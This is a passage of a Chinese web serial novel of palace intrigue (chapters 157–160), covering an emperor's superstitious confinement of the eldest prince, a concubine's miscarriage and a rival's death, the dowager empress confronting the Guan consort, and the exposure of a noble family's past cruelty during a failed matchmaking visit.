显庆皇帝沉吟片刻,方才说道:“卦相显示,朕与大皇子父子关系并不好,大皇子甚至刑克于朕。” 又喃喃自语着,“朕乃真命天子,就是父子之间有刑克,也该克不到才是,为何会卦相会有显示。” 薛迟面上露出震惊之色,他是不相信这些的,但因为显庆皇帝痴迷,他大概了解些。 显庆皇帝是天生无情,极度自私,不管是对妻子还是孩子,都只讲利益,有用最重要。 对大皇子更无丝毫父子之情,任由宫人随意欺凌。 这父子关系能好才奇怪。至于克父,大皇子何止想克父,应该想克死他。 现在算卦算出来父子关系不好,只能说是玄学神奇,竟然算准了。 心里如此想,薛迟嘴上却说得极为委婉:“父王,既然是天意如此,有时候父子也是需要缘份的,请父王莫要伤心。” 显庆皇帝一甩衣袖:“朕并不伤心,大皇子命不好,投胎成皇子就是最大的幸运。这样霉运缠身的人,还是不见为好。” 说着就要下令让大皇子搬出皇宫,让宗人府择府令住。 对于刑克,最好的办法就是拉开距离,离的远远不见面,也就难克到了。 薛迟连忙道:“父王,大皇子既然有克父之相,若是让他离开皇城,父子血缘斩不断,若是克到父王,反而不好。不如就留在后宫中,后宫房子那么多,挑个合适的方位,布下阵法,彻底灭了其克性岂不是更好。” 显庆皇帝觉得有理,对薛迟说:“还是你思虑周全,最关心朕。” 不由的想到程皇后,程皇后也是这样,十分能干,能帮他许多忙,体贴又细致。 薛迟是程皇后的儿子,果然像程皇后一样,都是全心全意为他,方方面面为他考虑周全。 这个儿子是真没白生。 薛迟听着,脸上露出十分感动之色,各种言语表示衷心,与显庆皇帝一副父子情深的模样,心里却是极为明白。 显庆皇帝不管是当皇帝,还是当爹都极其差劲,一旦没用,马上翻脸不认,丝毫不念血缘。 因关系到刑克自己,显庆皇帝决定亲自给大皇子找住所。 坐着轿撵,手托着罗盘,在皇宫里转了两圈。几天后终于选定一处,在南三所附近极其偏僻破败的小院。亲自画图纸改造,命令宗人府按着图整修房屋,不能私自添加更改。 又下令大皇子禁足,在搬进新住所前,不准出门,连带着关倩倩都一起禁足。 如此安排一通,化解了大皇子的刑克后,显庆皇帝感觉舒服多了。 只等宗人府改造完,大皇子搬进去,大门封闭,不准外出。 这样的安排确实比让大皇子出宫居住好多了,对自己不利的人,还是放到眼皮子底下能管住的地方才好。 至于大皇子是他亲生儿子,都刑克亲爹,这样的逆子,自然不是儿子。 “好久没去看李常在了。”显庆皇帝想到李常在的肚子。 李常在肚子里的也是贵子,生儿子还是生贵子好。 薛迟不说了,那是自己最器重的儿子。 再有三皇子,虽然不喜欢这个儿子,但三皇子循规蹈矩,从来不添乱。 而有些儿子,像大皇子那样刑克亲爹的,不如不生。 “摆驾春禧殿。”显庆皇帝说着。 春禧殿离显庆皇帝的寝殿不远,车都没坐,带着贴身太监往春禧殿走。 行至半路,就有春禧殿的管事太监匆匆过来,看到显庆皇帝连忙跪下,哭着说,春禧殿出事了,请显庆皇帝过去主持公道。 显庆皇帝大惊,顾不上询问原由,脚步快了起来。 进了春禧殿,只见李常在榻上躺着,捂着肚子哎哟叫着,身下己见红。 同样大着肚子的刘答应也在,她显得十分慌乱,但想到自己也怀着孕,多少有了底气。 “皇上驾到。”太监一声通传。 春禧殿的众人连忙跪了下来,李常在被太监扶着也欲起身见礼,就被快步上前的显庆皇帝按住,“爱妃免礼,御医呢,快去请御医。” 旁边太监说着,“已经派人去请了。” “皇上,刘答应害我,她在我的食物中下药。” 李常在躺在床上高声喊着。 刘答应大声辩解:“皇上,嫔妾没有,嫔妾与李常在一起吃的东西,东西还是春禧殿的,嫔妾想下毒也没办法下啊。” 她与李常在几乎同时怀孕,李常在不但升了位份,还备受宠爱,一跃成为后宫的新贵。 反观自己,虽然也怀了孕,却与从前无异。要说不嫉妒是假的,但怀着孕总是心怀希望。 要是在上天怜悯,让她一举得男,李常在生个女儿,就再好不过。 至于毒害李常在,她想都没想过,谋害皇嗣是大罪。 更不用说李常在这胎,因为显庆皇帝重视,一直严防死守,她就是想下手也没有机会。 御医来的很快,一番诊治后,确定李常在己经小产。 李常在哭的更大声,显庆皇帝心中更怒,李常在肚子里的这胎是贵子,竟然就这么没有了。他还指望着这胎生下来后,他要自己教养,体会一下抚养贵子的快乐。 现在全都没有了。 “皇上,要为嫔妾做主啊。”李常在哭的梨花带泪,指着跪在地上的刘答应,“就是她,就是她害了我的孩儿。” 怒不可谒的显庆皇帝一脚踢向刘答应,刘答应大着肚子,硬是挨了一脚,倒在地下,身下顿时也见了红。 “皇上,皇上……”刘答应哭泣着捂着肚子。 实在没有想到,显庆皇帝竟然会对她一个孕妇动手。 “皇上。”李常在见状,心中憋着的恶气散开了许多,试图起身向显庆皇帝撒娇。 不曾想显庆皇帝却是盛怒难消,更想着孩子都没了,这李常在也是没用。 看到李常在靠过来的身体,十分厌恶,当场抚袖而去。 “恭送皇上。” 众人连忙下跪。 等到显庆皇帝离开了,捂着肚子的刘答应,被自己的宫人扶了起来,向还未离开的御医说着,“大人,求求您了,救救我。” 本以为怀孕是保命金牌,没想到现在成了催命符。身下血流不止,若是没有救治,她肯定会没命的。 御医本不欲多事,但见刘答应实在可怜,便小声说着,“请小主先回去,臣稍后就来。” “大人一定要来。”刘答应哭泣着。 李常在怒声骂着,“你害我孩儿,这都是你的报应,还想让御医救你的孩儿,除非我死了。” 本欲偷偷救人的御医,顿时也打消了想法。 就是李常在失了孩子,但她圣宠仍在,刘答应怀着身孕,就因为李常在一句指责,显庆皇帝就动手打了刘答应。 两厢对比,后宫地位天壤之别,若是得罪了李常在,别说官位,只怕性命都不保。 当天下午刘答应因血流不止,死在自己寝殿,一尸两命。 因知道显庆皇帝不喜,管事太监都没有通知内务府料理后事,草席一裹抬出宫去,随便掩埋了。 李常在流产,刘答应一尸两命的消息,很快传到慈宁宫。 关太后脸上怒意更胜,厉声吩咐着,“唤贵妃过来。” 海公公见关太后动怒,“老奴亲自去。” 片刻后,关贵妃到了。 与往日的盛装相比,关贵妃显得清减了许多。 本来有关太后在,就是显庆皇帝把她贬为贵人,她的待遇也不会变。 但显庆皇帝却不打算让关贵妃好过,亲自派人给关贵妃搬家。 贵妃的住所与贵人的住所天差地别,日常吃穿用度皆有限制。 甚至翻箱倒柜,但凡不是贵人该有的东西,全部没收。 关贵妃成了彻头彻尾的关贵人。 “你都干了什么!”关太后怒声说着。 第158章 第 158 章 关太后的怒火并没…… 关太后的怒火并没有让关贵妃害怕, 关贵妃抬头看着关太后,眼中怒火将要喷发出来,声音冷硬,恨意滔天。 “姑母, 这些年来, 我对您唯命是从, 事事以关家为先, 可如今呢?昭华死了,我的女儿死了, 为什么她死的时候,身上带着您宫里海公公醒制的毒药?” 提到昭华公主之死,关太后眼中闪过一丝愧疚,她确实在昭华公主身上下过毒,目的是为了把毒传染给薛迟。 但有毒就有药, 她没打算让昭华公主与薛迟同归于尽。 但薛迟却钻这个空,趁机对昭华公主下毒,致使她毒发身亡时, 身上毒素过多, 想彻查都没法查。 “无话可说吗。”关贵妃继续说着, “我再问姑母,大皇子为什么会恢复神智?” 关太后原本的怒火消了许多, 神色复杂, 心中亦是思绪万千。 她看着眼前的关贵妃,想起这些年来她在宫中的殷勤侍奉,声音不禁放软了,解释起来。 是大皇子主动来投靠的。 据大皇子所说,大概一个月前, 他撞到头,竟然不傻了。 既己恢复就不想浑浑噩噩活着,特意来投靠她。 “你是皇上的长子,恢复了神智,该先告诉皇上,那是你的父王。”关太后当时说着。 大皇子却说,这些年显庆皇帝没看过他一眼,早就不知道还有这么一个儿子。 又说将来的皇位肯定是三皇子的,他提前来投靠,都不求封王爵,只想有个容身之处。 傻子突然恢复,这种神迹关太后压根不信,最有可能是,大皇子一直在装傻。 皇宫内苑,装傻十几年,这手段心计不可小觑。 至于此时过来投诚…… 大皇子为何会傻的,关太后记得很清楚。 是关贵妃把他推到河里后,人没死,脑子却坏了。 装疯卖傻,食不裹腹十几年,这要是真心投诚,世上就没有假意这个说法了。 关楚河得知之后,却说此子可用。 人都有自己的私心,同姓的利益共同体,尚有自己的私心,更何况旁人。 大皇子是长子,以皇长子来对抗嫡长子虽然礼法上占不了多少便宜。 但有把刀使,总比没有强。 关楚河亲自与大皇子谈的,交谈后就定了婚礼当天的计划。 计划进行的很顺利,怎么也没想到,神智恢复的大皇子,却因为薛迟几句话就会被关起来了。 别说得到显庆皇帝的怜爱,连显庆皇帝的面都没有见到。 这步棋己经废了一半。 在把握显庆皇帝心理上,薛迟确实很厉害,很能哄住显庆皇帝。 “所以你们明知道,我当天要刺杀苏钰,却不阻止,反而想利用此事闹大,让皇上以及更多的人知道大皇子恢复了。”关贵妃说着,言语冷硬,更带着心灰意冷。 对关太后来说,她只是一颗棋子,但十几年相处,她总觉得关太后对她是有点感情的。 苏钰与她有杀女之仇,她想报仇,关太后却利用这个机会给大皇子铺路。 何岂可笑。 “大局为重。”关太后说着,“大皇子既然占了长的名份,就可以以此做文章。事成之后,取他性命易如反掌。” “这都是为了小三能登上皇位,小三成了皇帝,你就是太后。” “为了小三?”关贵妃冷笑,“是为了关家,更是为了你自己的权势。” 关太后神情冷了下来,看着状似疯癫的关贵妃,训斥的话没有说出口。 定定看着她一会,转移话题,说到今天叫她过来的目的。 “你为何对李常在和刘答应下手?”关太后问着,可能是年龄大了,竟然有些力不从心。 以前关贵妃对后宫子嗣下手,她懒得过问,也是觉得无伤大雅。 而现在,显庆皇帝对关氏一族的厌恶到了极点,关贵妃这时候动手,犹显得不智。 “我是为小三能当上皇帝。”关贵妃说着,直视着关太后,“只要小三是唯一的皇子,他就能当皇帝。” 与她有深仇大恨的大皇子,关太后都能收为己用,根本就没有为她考虑过。 关太后说是为了关家,更多的是为自己,能当权能执政,权力对于她是最重要的。 三皇子有关家的血脉,能登基自然是最好的。若是中间出了意外,为了自保关太后肯定会舍了三皇子。 若是李常在或者刘答应生下皇子,幼年皇子一样可以成为关太后掌权的保证。 弄不好还会觉得,小奶娃当皇帝比成年皇帝更容易摆布。 杀了其他皇子,是为了三皇子能登基,也为了关太后能一心一意帮助三皇子登基。 “你糊涂。”关太后怒声说着,她早知道关贵妃是个蠢货,依然被她蠢到。 关贵妃却是道:“我只有这么一个儿子了,我只为了他。” 三皇子是皇子,但也最危险。这个皇宫里,当不上皇帝的皇子,都得死。 不管谁上位,都会杀死所有兄弟。 关太后被关贵妃这副丝毫不知错的模样,气到气血翻涌,海公公见状,连忙扶住她,“太后要保重凤体。” 关太后被扶着坐回榻上,对关贵妃挥挥手,“回自己宫里去,没有允许,不准进出。” 讲道理讲不通,那就把她关起来。 关贵妃却是突然说着,“太后,您与皇上虽然没有血缘关系,却真是亲母子。” 同样的自私自利,冷血无情。 或许只有这样的人,才能在皇宫这种地步活的好。 说完这一句,关贵妃既不见礼,也不告退,转身就往外走。 不知何时天下起了雨,身边的太监赶紧撑起了伞,小声说着,“车撵马上就到,请娘娘稍侯。” 关贵妃好像听不到看不到,行尸走肉一般,继续向前走着。 雨水落到身上,关贵妃全然没了知觉。 她突然想起她那早己亡故的堂姐,当初关太后看上的是她堂姐,是她与父母一起,让堂姐投了井,她才有机会进宫。 进宫之初,关贵妃想的很明白,她是为了权势来的。 十几年间她确实得到了权势,举手投足间定人生死。 杀人无数,从不曾有丝毫后悔,她以为自己是满足的。 而随着时间的推移,她突然发现,她其实没那么爱权势,至少不像关太后那样爱,她还是需要情感的。 然尔,昭华公主死了,三皇子也危在旦夕。 她的生死早就无所谓,她只希望三皇子能活下去,为了这个愿想,她愿意做任何事。 抱着这样的愿想,却又发现,自己什么都做不了。 “啊……” 关贵妃仰天呐喊着,似要把心中的悲愤发泄出去。 一声吼完,关贵妃晕倒在地上。 *** 苏钰翻着最新的邸报,几乎全部版面都在说大皇子神智恢复的事。 一个不受宠的皇子,就是恢复神智,按理说也没那么大的动静。 “疯了十几年的皇子,突然恢复神智,有人说是被邪物附体。”琉璃绘声绘色说着。 这不是她胡说八道,或者哪里来的小道消息,而是整个京城都在说这事。 “据说大皇子刚恢复神智,就被关进了冷宫。”绿川也跟着说。 “还在冷宫布置了法阵,就为了阵压大皇子身上的邪魂。” “还有人说,大皇子身上的邪魂,就是南魏国师搞的鬼。以邪魂控制大周的皇子,以此搅乱朝廷。”琉璃继续说着。 这是目前京城传言中最靠谱的版本,不靠谱那就更多了。 苏钰有一搭没一搭听着,邪魂都出来了,大周又不是南魏,没那么迷信。 不过,不得不说,这样的流言才能最快传播。新奇,鬼扯,又因为太鬼扯了,官府都不好追究。 大家都当成乐子听一听,传播的更广了。 但就这么传播下去,对大皇子是极不利的。 他若是得宠的皇子,有皇帝亲爹的疼爱,这些传言无伤大雅。 大皇子在宫中活着都不容易,显庆皇帝还非常信玄学那套。 传言再传下去,只怕大皇子性命不保。 “姑娘,公主府来人。”婆子进门来报。 苏钰道:“快请进来。” 片刻后,晋阳长公主府的婆子来了,一直都是她来,早就熟悉了。 婆子笑着见礼,先把礼物送上,与以前一次送一大堆不同,现在都是随心意送上一两样。 有时候是点心吃食,有时候是宝石,玉器,都是薛迟最近得的,觉得有趣才送给苏钰。 因为每次都不一样,每回收到时就像是开盲盒,反而有了期待。 婆子把锦盒送上,苏钰打开,顿时笑了,竟然是一根步摇簪子,造型别致,做工极为精细。 “这是大公子特意为姑娘打造的。”婆子笑着说。 苏钰笑着收下来,“我很喜欢。” “这是大爷给姑娘的信。”婆子这才把信送上来。 绿川接过信,转奉给苏钰。 苏钰拆开来看,薛迟的信从来不长,有事说事,从来不废话。 信上说了两件事,南魏和北齐使者团,大约半个月后到,比预期行程晚了几天。 另一件事,就是宫中关贵妃的动向。 上回的刺杀,虽然最终什么都没发生,但关贵妃疯成这样,苏钰确实有些担心。 现在不用担心了,关贵妃疯了。 第159章 第 159 章 叶氏最近睡的不安…… 叶氏最近睡的不安稳, 晚上总是做梦。 继继续续,总是梦到苏辰小时候,小小的苏辰穿着大红衣裳喊她娘,说她要回家。 “管家还要操办婚事, 你最近太累了。”苏天华说着, “我看辰姐儿就很伶俐, 平常琐事你交给她来办就很妥当。再不行, 还有老太太呢。” “今天也没什么要紧事。”叶氏说着,坐起身背靠在引枕上, 手抚着头,这个时间应该起床了,她却并不想动弹。 苏天华本欲唤丫头进来侍侯更衣,见状便在床边坐下来,摸摸叶氏的头, “要是不舒服就再睡会,别累到自己。” “嗯。”叶氏含糊应着,想睡又觉得睡不着。 苏天华又安慰叶氏, “辰姐儿寻回来了, 就是婚事有些阻碍, 也不是什么大事,你莫要太操心了。” 叶氏摇摇头, “倒不是因为辰姐儿的婚事, 就是觉得……” 觉得苏辰并没有寻回来,还是流落在外。又想到云棠,明明女儿就在身边。 心中烦闷,叶氏索性掀起被子下床,“还是别躺着了, 总是胡思乱想。” 苏天华便道:“我今天也无事,天气也不错,索性出门散散心。” 叶氏点头,唤小丫头进来侍侯,又笑着说,“是好久没出门了,今天开心就乐上一天。” 两人一起吃了早饭,云棠过来请安时,叶氏就吩咐她一通。 都是些家务琐事,不要紧的等明天再料理,非得今天拿个主意的,云棠自行决断。 “是。”云棠答应着。 这些天跟在叶氏身边,对于如何管家她是懂了些的,她本就识字,看帐本也容易。 苏天华带着叶氏出门踏青,云棠像平常一样,回屋里看帐本,管事媳妇回话要到下午。 “二姑娘,舅太太来了。”婆子进门说着。 云棠微微一怔,还是婆子提醒,所谓的舅太太是叶氏堂弟的老婆。 因为叶峰过继的事,叶家族内撕的很凶,最厉害的时候,叶氏与所有的叔伯兄弟都断了关系。 直到叶峰中了状元,继承家业之事成了定局,与叶家宗亲的走动才多了起来。 “母亲不在,请舅太太花厅稍坐,我换了衣服就来了。”云棠说着。 “是。”婆子应着赶紧去了。 云棠换好外衣去花厅,虽然不知道叶太太过来为何事,但既没有提前下贴,估摸着也没什么要紧事。 叶氏不在,叶太太就是有事多半也不会跟她一个晚辈说。她过去招呼,也就是说明一下原由,把客人恭恭敬敬送走。 如此想着,云棠来到花厅,只见厅内坐着两女一男。其中一个妇人她认得,在叶家的家宴见过,应该就是今天的贵客舅太太。 另外一男一女,男子她认得,也是宴会上见过,承安伯家的嫡子夏书礼。 至于那个女子,三十几岁的模样,模样与夏书礼有些相似,应该是他的长辈。 “见过舅太太。”云棠上前见礼。 叶太太笑得好像一朵喇叭花,上下打量着云棠,对那妇人说着,“这就是我外甥女苏辰,这长相这气派,京城哪家比的了。” 如此说着,叶太太又对云棠介绍,“这是承安伯夫人夏太太。” “见过承安伯夫人。”云棠上前规矩见礼,不动生色的看一眼承安伯妇人。 承安伯夫人生的富态,衣着妆容皆是京城妇人打扮,举手投足间也竭力模仿京城贵妇。 但那种不协调感还是挺明显的,这位承安伯夫人娘家出身多半不好。 “果然生的标致。”承安伯夫人笑着,上下打量着云棠。 云棠被看的有些不自在,脸上含笑,却不接话。 叶太太又要介绍夏书礼,夏书礼笑着说,“我与苏姑娘见过的。” 云棠笑着点头,“是见过的。” 一面之缘,夏书礼在得知她是苏家小姐后,异常殷勤。 叶太太见状越发高兴了,拍手说着,“那还真是有缘。” 丫头端茶上来,云棠笑着看向叶太太说,“您来的不巧,母亲出门去了,并不在家中。” 叶太太笑着说,“我也没什么要紧事,就是来看看她,她不在,看到你也是一样的。” 云棠看出来了,叶太太这回过来是想保媒,叶氏若是在,不管是答应还是拒绝,都是长辈拿的主意。 现在叶氏不在,她来见客,若是懂规矩的,就该现在离开,下回再说。 但叶太太若是懂规矩,就是想保媒也该单人过来说,而不是把夏家母子都叫上。 如此三人一行过来,偏偏叶氏又不在。云棠便对婆子说着,“去乐道堂看看,老太太是否得空,家里来了贵客,母亲又不在,我一个晚辈招待,总是慢待了。” “是。”婆子应着,赶紧去了。 提到老太太,舅太太和承安伯夫人相视一眼,都有些惊讶。 苏家的这位老太太,一品诰命,阁老夫人。 杨阁老在世时,她甚少出面应酬,杨阁老过世后,到苏家养老后,就更没露过面了。 承安伯夫人向叶太太使了个眼色,今天过来是为了夏书礼的婚事。 叶氏不在,只有云棠在,岂不是更好。 年轻姑娘脸皮薄,给夏书礼制造机会,多说情话哄一哄,也许就成了。 就是承安伯府的门第差些,云棠的过往并不光彩,再加上苏玫和离之事,苏家的名声差到极点。 要不是承安伯府爵位即将到头,不得不博一博,云棠这种生过孩子的,夏家也看不上。 叶太太笑着说,“我今天过来,就是想看看你,没想到要惊动老太太。” 她与承安伯夫人有几分交情,承安伯夫人找上她,说夏书礼看上了云棠,希望她能保个媒。 她想想也觉得可行,云棠那样的身世,苏家的名声,女儿能嫁出去就是万幸了。 云棠只是笑,反正话己经传过去了,相信谷夫人会见他们。 片刻后,婆子来报,“老太太请贵客到乐道堂说话。” 云棠站起身来,夏太太和承安伯夫人也只得起身。 马车停在花厅外,婆子引着云棠和叶太太上车,承安伯夫人和夏书礼则坐上滑杆软轿。 两个粗壮妇人抬起软轿,两侧四个婆子随轿,三等仆妇而己,穿着打扮皆不差承安伯府的主子。 穿过一重重垂花门,别说承安伯夫人,连夏书礼看的都震惊了。 高门大户都是庭院深深,但像苏家如此讲究,来往下人皆衣着不俗,进退有度的,这是夏书礼头一次见。 苏家这真是滔天的权势,泼天的富贵。 仆妇落轿,夏书礼抬头看去,黑漆大门,匾额上写着乐道堂三个字。 云棠和叶太太也从车上下来,婆子上前引路,四人一起往院里走。 正在打扫的仆妇,看来有人来,立时收起扫把,垂首而侍,院中人虽多,却一点声响都没有。 踏上正房台阶,小丫头打起帘子,四个进到屋里。 淡淡药香伴着花香,却没有丝毫不协调感。入目之物件件不俗,却丝毫不觉得奢华。 承安伯夫人不自觉得捏紧帜子,只觉得自己此时比入宫朝贺时还要紧张。 “给老太太请安。”云棠笑着说。 叶太太三人也跟着一起见礼,谷夫人微笑着,对叶太太说着,“亲戚之间常不走动,都生疏了。” 叶太太愣了一下,这才反应过来,连忙介绍承安伯夫人和夏书礼。 说到夏书礼时,谷夫人却显得愣了一下,“我记得承安伯的长子叫夏书和,得有二十几岁了,不似这般年轻啊。” 夏书和三个字让承安伯夫人变了脸色,夏书礼脸色也有些不好看。 叶太太却显得一脸莫名,不禁说着,“老太太是记错了吧,书礼是长子。” 刘顺家的笑着说,“当年承安伯带着长子来杨府,奴婢也见过。算着时间,今年至少得有二十六了。” 承安伯夫人脸色越发难看,夏书礼紧抿着唇一言不发。 叶太太再是看不懂脸色,见承安伯夫人如此反应,也知其中必有隐情。 难道自己结交的这位承安伯夫人是继室,承安伯前头还有儿子? “我想起来了,当年承安伯府因为长辈败家,生活十分窘迫,别说高门大户的嫡女,连庶女都娶不到。承安伯便纳了一个小商户的女儿当妾室,操持家务,生儿育女。这长子就是这名妾室生的。” 谷夫人缓缓说着,目光却是看向承安伯夫人,“这段往事,承安伯府一直瞒着,承安伯夫人应该是清楚的。” 承安伯夫人脸色巨变,没想到谷夫人竟然知道这段过往,强笑说着,“老太太怕是记错了,我夫婿前头是有两个丫头,都是从小侍侯到大的,后来都抬成了妾。” 谷夫人淡然一笑,继续说着,“我记得夏太太是皇商世家,嫁进承安伯府时十里红妆,好不风光。” “夏太太好福气,我记得那时候承安伯己经中了进士,又有爵位在身,不再是那个一穷二白娶不上媳妇的。” 老底子被扒出来,饶是承安伯夫人脸皮厚也有些坐不住了,起身说着,“打扰老太太许久,我们也该回去了。” 夏书礼也紧跟着起身,神情十分紧张。 叶太太本是来保媒的,没想到听了这么一肚子八卦,此时人都傻了。 但她同承安伯夫人一起来的,他们要走,自己也不好留,只得跟着起身告辞。 谷夫人点点头,却是对叶太太丝毫不客气说着,“英国公府的小姐金尊玉贵,不是什么人都能配上的。” 这都不是暗示了,是直接明显,叶太太顿时涨红了脸,却不敢反驳,低头小声说着,“是我不知轻重,冒犯了。” 三人匆匆出门去,谷夫人都没刘顺家的送客。 云棠也傻眼了,她只想着请谷夫人做个主,没想到会听到这样的八卦。 “那承安伯府实在不是个东西。”刘顺家的愤愤不平说着。 二十几年前的往事,因为承安伯府瞒的紧,几乎没人记得。 生活窘迫的高门大户公子哥,因为娶不起妻,先纳个妾室,妾室全全生儿育女,操持家务。 干的是正室活,却没有正室的地位。 承安伯府做的更无耻,承安伯先纳了一个有钱 商户人家的女儿当妾室。 嘴上说着我们是真心相爱,但你身份太低无法为正室。同时承诺不再娶妻,以妾为妻,更许诺将来扶正如何如何。 靠着妾室的嫁妆,供养一家子老小的吃穿用度。 等到男方翻身了,就像承安伯,中了进士,有娶贵女的资本了,再挑选合适的正室,娶妻生子。 至于以前的妾室,稍微有点良心的人家,都会认下,妾室和庶子庶女,高门大户里都有。 没良心的会直接遣散,就当没这回事。 承安伯府做的犹其过份,前头妾室操持家务十几年,孩子都生了三个。 承安伯一朝中进士,京城贵女知道他家情况,都不愿意嫁。最后挑来捡去,选了有大笔嫁妆的皇商人家的嫡女。 这位承安伯夫人与承安伯果然般配,承安伯夫人没进门前,就向承安伯府提了要求,前面的妾室必须得死,孩子从族谱中除名。 一个年老色衰的妾室,死在后宅里,无声无息。三个孩子族谱除名,也很容易,本来就是庶出。 当时长子夏书和都十来岁了,书读的很好。承安伯夫人得知,生怕此子得了功名将来报复,是打断腿丢出去的。 就是活下来,断了腿,身上有残疾,无法参加科考,想当武官更不可能。 废人一个,再不用担心他兴起风浪,自可高枕无忧。 “好生无耻。” 听刘顺家的讲完,云棠忍不住说着。 无耻之徒她在直隶时就见过不少,像承安伯府这样的还是闻所未闻。 “这样人,遇到了都得离远些。”谷夫人说着,“传话下去,再不准承安伯府的任何人进门。” 第160章 第 160 章 叶氏与苏天华外头…… 叶氏与苏天华外头玩了大半天, 晚饭前才回来。 叶氏心情好了许多,听云棠说了叶太太来来访以及承安伯府的旧事,顿时火气上来了,“这样人家也敢带着登门, 这是欺负谁呢。” 云棠连忙劝慰叶老太太, “老太太说了, 以后再不准他们登门。” 叶氏冷笑, “保这样的媒,这是故意恶心我呢。” 当即也不管天色己晚, 当即打发几个骂人凶的婆子过去,把叶太太狠骂了一顿。 至于叶太太气怒之后喊着要断亲,叶氏并不当回事,这种亲戚她巴不得早点断。 八卦消息很快在府里传开,高门大户里, 破事太多,没良心的负心汉更是数不胜数。但极品成承安伯府这样的,也着实让人开眼。 消息传到听雨斩, 苏钰微微怔了一下, “夏书和?” 绿川不自觉得脱口而出, “书店的夏老板,就叫这个名字。” 而且同样伤了腿, 行走不方便。 苏钰回想她当初遇到夏书和时的模样, 是在一条小巷子里被人打。 他说自己是江南人士,至于家中亲人,她好像没问,也是觉得没必要问。 “姑娘要问问夏老板吗?”绿川问着。 苏钰摇摇头,“我当初就没问, 现在问什么。” 夏书和也许骗了她,也许瞒了她,但这些都不重要。 本就是萍水相逢,只有那么一点点缘份,只要对方不伤害她,她何必刨根问底。 而且要怎么问,问他是不是有个超级人渣爹,害死他的亲娘,两个弟妹又在哪里。 这让夏书和如何回答,回答之后,她要怎么反应。 要给夏书和报仇吗? 先不说夏书和需不需要,她又有什么立场。 有些事情,知道了,还不如不知道。 “姑娘思虑周全。”绿川说着,也觉得不应该问。 苏钰倒是想起了另外一件事,那天陈平和夏书和走在一起。 陈平知道夏书和身世吗? 或者说,陈平早就知道,并想着利用一把? 苏钰心里想着,吩咐绿川,“让管事留心外头关于夏家的传闻。” “是。”绿川问着。 果然没两天,京城就有消息传出来。 先是有人议论,说叶太太给侄女保媒被骂了出来,叶氏还发狠说断亲。 因为苏玫和离,苏家在京城的名声相当臭,云棠的出身也是众所周知。 这种情况下,还有人说亲,就是男方条件差些,叶氏竟然把人骂出门,实在不应该。 然后说到承安伯府,一直以承安伯府在京城很透明,一个马上就传到头的伯爵府,现任承安伯夫人又是皇商家的女儿,身份又低。 这样的人家,就是想高调,都没人搭理。 “各府的太太们都在议论,当年承安伯府的事。”绿川说着管事打听来的消息。 极品人渣这么多,渣成承安伯府这样的,也是独一份。现在各府女眷,哪怕是七品官家里摆宴,都不请承安伯府。 现在的承安伯己是最后一代,夏家一直各处活动着想延爵,现在肯定是不成了。 “承安伯府的大姑娘,本来说是的今年出阁的,嫁妆都备好了,婚期也定下来了,婆家那边却要退亲,承安伯夫人正跟人闹呢。”琉璃接话说着。 对于京城的女眷来说,皇宫内苑的八卦,担心祸从口出,再好奇也不敢多讲。 承安伯府的八卦不同,如此惊天动地的极品人渣,现在只要有宴席,妇人们聚一起就说承安伯府。 大姑娘被退亲只是个开始,承安伯府的未婚男女的亲事,只怕要在京外寻了。 “说来也是奇怪,都在说承安伯府,却没人提前头妾室生的三个孩子。”琉璃说着,“都被祖谱除名了,总不至于都害死吧。” 一个妾室无声无息死在后宅,手脚做的麻利些,可能还查不出什么。 但三个孩子也死了,死的又如此凑巧,闹起来就不好了。 绿川见苏钰不说话,自然不会多言。 三个孩子里头最年长的是夏书和,却被打断了腿,自己都不知道怎么活下去,更不可能照顾弟妹。 苏钰遇到夏书和时,夏书和十分狼狈的模样,这些年也没见他有亲友的样子,要么是走散了,要么是己经没了。 苏钰沉默听着,想到夏书和的腿,突然问,“承安伯的身体如何?” 问的突然,琉璃一时间没反应过来,绿川道:“承安伯五十出头,身体应该还好。姑娘为何问这个?” 至少没得马上死的病,要的是话,京城妇人早就欢天喜地的说,果然得报应了。 苏钰没作声,有严重伤残在身,夏书和注定与仕途无缘,杀母之仇,断腿之恨。 夏书和就是抱上了大腿,但想自己报仇,也得等到承安伯府的爵位没了,全府变成平民。 大家同地位了,拼的就是财力,到时候,想怎么报仇就怎么报仇。 至于承安伯府的爵位怎么没的,最后一位承安伯没了,爵位自然没了。 主仆聊着闲天,午饭后,叶氏派婆子过来传话。 明天是宜宁郡主出阁的日子,叶氏打算带着云棠一起去。 苏钰是肯定要去的,三人同路,确定礼单和出门时间。 “太太的意思是,楚王府不比别家,礼也要格外厚重些。”婆子笑着说。 叶氏想的是,妯娌一场,慕容宁被无故和离,总是苏家对不起她。 宜宁郡主是她的继女,现在继女出嫁,苏家要送礼,比平常更重些也是应该的。 苏钰看着礼单,笑着说,“二婶安排的很好,我明天准时到。” “是。”婆子应着,转身离开。 琉璃送婆子离开,绿川笑着说,“明天出门要穿的衣服,姑娘还没选呢。” “你看着挑一身吧。”苏钰说着,神情有些淡淡的。 绿川原本还打算问问,明天送什么礼物,现在也不问了,自行做主挑了一套首饰。 及至次日,苏钰准时到二门,与叶氏和云棠汇合,坐车去了楚王府。 郡主出阁,宗人府与王府一起操办的,关家也重视,婚礼排场都是给足的。 嫁妆更是给足了的,除了宗人府固定要给的一份,楚王爷又添了一份。 跟公主的嫁妆虽然不能比,但在郡主里面算是很丰厚的。 苏家的车驾到二门,长史官迎了上来,恭敬又客气,“王妃正在招呼宾客,不能亲自来迎,失礼了。” 叶氏笑着说,“郡主出阁是大事,王妃有得忙呢。” 而且王府都派出长史官来迎接了,面子里子都给足了。 三人换上王府的软轿,四个壮妇抬着向后花园走去。 云棠留意四周,一路上张灯结彩,丫鬟们身着统一的服饰,穿梭于各个院落之间,脚步轻盈,神色恭敬。 小厮们则在府门外负责接待宾客,引导车马,动作娴熟,礼数周全。 慕容宁确实在招呼宾客,今日是宜宁郡主出阁之日,虽说是女儿家的小喜事,可郡主出阁,来送嫁的皆是皇亲国戚,自然非同一般。 楚王爷招呼男客,女客有慕容宁招呼,陈侧妃则在宜宁郡主院里张罗忙碌着。 宴席摆在后花园的大花厅里,一应女客皆是皇亲国戚,像周家这样的,关系很近也只得靠后了。 晋阳长公主坐在首席,与慕容宁说着闲话。 一般郡主出阁,晋阳长公主都是不去的,但想着马上就要跟慕容宁当亲家了,这一趟就亲自来了。 “苏二太太,苏姑娘到了。” 婆子一声通传。 小丫头打起帘子,叶氏带着苏钰和云棠进屋,慕容宁连忙起身相迎。 看到叶氏,尤其是云棠时,慕容宁眼中几乎压抑不住愧疚。 随着三人进屋,屋里的宾客多少松了口气。 慕容宁此前被禁足,她做过的那些事,让皇亲国戚们都心有余悸。 面对她,也就晋阳长公主能说上几句话。 